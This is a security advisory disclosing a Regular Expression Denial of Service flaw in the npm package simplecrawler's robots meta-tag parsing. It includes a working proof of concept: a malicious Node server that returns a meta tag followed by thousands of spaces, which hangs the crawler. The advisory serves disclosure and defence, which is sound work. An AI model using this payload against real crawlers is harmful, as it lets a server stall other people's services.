Security Advisory

Regular Expression Denial of service (ReDoS) in simplecrawler

Created by Ben Caller
11th Mar 2021

Overview

This document provides technical details of a Regular Expression Denial of Service vulnerability in the npm package simplecrawler.

About Us

Doyensec is an independent security research and development company focused on vulnerability discovery and remediation. We work at the intersection of software development and offensive engineering to help companies craft secure code.

Research is one of our founding principles and we invest heavily in it. By discovering new vulnerabilities and attack techniques, we constantly improve our capabilities and contribute to secure the applications we all use.

Regular Expression Denial of service (ReDoS) in simplecrawler	
Vendor	https://github.com/simplecrawler
Severity	Low
Vulnerability Class	Denial of Service
Component	simplecrawler
Status	Open
CVE	Not Assigned
Credits	Ben Caller of Doyensec

Summary

The npm package simplecrawler processes META tags using a regular expression which is vulnerable to Regular Expression Denial of Service (ReDoS). If a server responds with a crafted long response, the client running simplecrawler will be stuck processing the response for a very long time. This allows the remote server to trigger a Denial of Service.

Technical Description

The vulnerable regular expression is:

```
var robotsValue = /<meta(?:\s[^>]*)?\scontent\s*=\s*["']?([\w\s,]+)["']?
[^>]*>/i.exec(resourceText.toLowerCase());
```

https://github.com/simplecrawler/simplecrawler/blob/f8499eec829ff639fc33451f77a73bd5f580a98c/lib/crawler.js#L920

The section after the equals sign contains multiple overlapping patterns. Ignoring the optional parts containing double and single quotes, we have:

```
\s*([\w\s,]+)[^>]*
```

Since all three infinitely repeating groups accept spaces, a long string of spaces causes catastrophic backtracking.

The complexity is cubic, so doubling the length of the malicious string of spaces makes processing take 8 times as long.

As regular expression matching is CPU-bound, the event loop is blocked. Timers for instance will not fire until regex matching completes.

If `crawler.respectRobotsTxt` is explicitly set to false, the vulnerable regular expression is not used.

Proof-of-Concept

Run a malicious server which responds with

```
    <meta name=robots><meta content=
```

followed by a few thousand space characters.

An example malicious node server is below:

```
const http = require('http');

const requestListener = function (req, res) {
  console.log(req.url)
  if(req.url.indexOf('robots.txt') == -1) {
    res.writeHead(200, {'content-type': 'text/html'});
    res.end('<meta name=robots><meta content=' + ' '.repeat(10000));
  } else {
    res.end()
  }
}

const server = http.createServer(requestListener);
server.listen(1337);
```

Connect to the server with simplecrawler:

```
require("simplecrawler")("http://localhost:1337").start()
```

After executing that command, the node CLI hangs.

Remediation

The maintainers have decided to archive the repository and recommend using an alternative package.

A fork of simplecrawler would need to fix the vulnerable regular expression.

Disclosure Timeline

2021-01-20	Vulnerability disclosed via email to maintainers
2021-01-21	Acknowledgement from maintainer
2021-03-07	Package and repository marked as deprecated
2021-03-11	Doyensec advisory published